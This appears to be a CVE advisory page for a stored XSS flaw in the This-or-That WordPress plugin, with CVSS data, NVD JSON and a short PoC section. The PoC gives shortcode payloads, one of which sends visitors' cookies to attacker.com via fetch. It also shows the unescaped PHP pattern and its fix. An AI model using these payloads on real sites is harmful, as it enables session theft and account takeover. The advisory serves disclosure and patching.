Security Vulnerability Report
中文
CVE-2025-10138 CVSS 6.4 MEDIUM

CVE-2025-10138

Published: 2025-10-22 09:15:32
Last Modified: 2026-04-15 00:35:42

Description

The This-or-That plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'thisorthat' shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

This-or-That 插件 <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-10138: Stored XSS via 'thisorthat' shortcode --> <!-- Step 1: As a contributor-level user, create a new post --> <!-- Step 2: Insert the following shortcode into the post content --> [thisorthat option1="<img src=x onerror=alert('XSS-Via-CVE-2025-10138')">" option2="Click Me"] <!-- Alternative payload using event handler in attribute --> [thisorthat option1="<svg onload=alert(document.cookie)>" option2="Option B"] <!-- Alternative payload for cookie exfiltration --> [thisorthat option1="<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">" option2="Click"] <!-- Step 3: Publish the post --> <!-- Step 4: When any user (including admin) views the post, the XSS payload executes --> <?php // Conceptual vulnerable code pattern (from this-or-that.php around line 232): // The plugin renders shortcode attributes without proper escaping: // // function thisorthat_shortcode($atts) { // $attributes = shortcode_atts(array( // 'option1' => '', // 'option2' => '' // ), $atts); // // VULNERABLE: Direct output without esc_attr() or esc_html() // return '<div class="this-or-that" data-option1="' . $attributes['option1'] . '">' // . $attributes['option2'] . '</div>'; // } // // FIX: Use esc_attr() and esc_html() functions: // return '<div class="this-or-that" data-option1="' . esc_attr($attributes['option1']) . '">' // . esc_html($attributes['option2']) . '</div>'; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10138", "sourceIdentifier": "[email protected]", "published": "2025-10-22T09:15:31.867", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The This-or-That plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'thisorthat' shortcode in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/this-or-that/trunk/this-or-that.php#L232", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/22f291eb-d1f8-40d6-b020-f6364164dc40?source=cve", "source": "[email protected]"}]}}